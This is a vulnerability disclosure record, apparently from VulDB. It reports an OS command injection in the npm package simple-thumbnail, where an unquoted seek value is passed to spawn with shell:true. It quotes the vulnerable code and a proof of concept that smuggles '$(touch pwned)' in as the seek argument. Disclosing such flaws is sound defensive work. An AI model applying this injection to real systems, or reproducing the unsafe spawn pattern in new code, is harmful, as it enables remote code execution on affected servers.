| 제목 | philipjscott simple-thumbnail >= 1.1.0 <= 1.6.5 OS Command Injection |
|---|
| 설명 | Package: simple-thumbnail (npmjs)
Weakness: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CVSS 3.1: 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) or an 8.8 if behind an authentication gate
Package URL: https://www.npmjs.com/package/simple-thumbnail
GitHub URL: https://github.com/philipjscott/simple-thumbnail/
simple-thumbnail (specifically versions >= 1.1.0 <= 1.6.5) is used to generate a video thumbnail via ffmpeg. The argument list is built with the genThumbnail(input, output, size, config) function. It spawns ffmpeg with { shell: true }. This means that node uses /bin/sh -c "<command + args>", this means that every element of args is reparsed by the shell. buildArgs() only wraps the user-supplied input/output paths in double quotes and emits the seek value completely unquoted. This is a classic DEP0190 that Node warns against.
Please consider the following vulnerable code:
```js
function buildArgs (input, output, { width, height, percentage }, seek) { // line 55
const scaleArg = (percentage) ? `-vf scale=iw*${percentage/100}:ih*${percentage/100}`
: `-vf scale=${width || -1}:${height || -1}`
return [ '-y', `-i ${input}`, '-vframes 1', `-ss ${seek}`, scaleArg, output ] // seek is passed in raw
....SNIP...
function ffmpegExecute (path, args, rstream, wstream) {
const ffmpeg = spawn(`"${path}"`, args, { shell: true }) // vulnerable sink, L82
...SNIP...
```
As the seek value is always meant to be user-controllable (for generating thumbnail for a certain timestamp), this is exploitable and results in full RCE as the Node user.
Confirmation PoC:
```
$ mkdir /tmp/st && cd /tmp/st && npm i simple-thumbnail
$ node -e 'require("simple-thumbnail")("x.mp4","o.png","200x200",{seek:"$(touch pwned)"}).catch(()=>{})'
$ ls
pwned
```
References:
- https://github.com/philipjscott/simple-thumbnail/blob/master/index.js#L81
- https://nodejs.org/api/deprecations.html#dep0190-passing-args-to-nodechild_process-execfilespawn-with-shell-option
- https://github.com/philipjscott/simple-thumbnail/issues/88
|
|---|
| 원천 | ⚠️ https://github.com/philipjscott/simple-thumbnail/issues/88 |
|---|
| 사용자 | ma1ware (UID 102050) |
|---|
| 제출 | 2026. 10. 27. PM 02:48 (29 날 ago) |
|---|
| 모더레이션 | 2026. 11. 25. PM 04:52 (29 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 443910 [philipjscott simple-thumbnail 까지 1.6.5 index.js ffmpegExecute seek 권한 상승] |
|---|
| 포인트들 | 20 |
|---|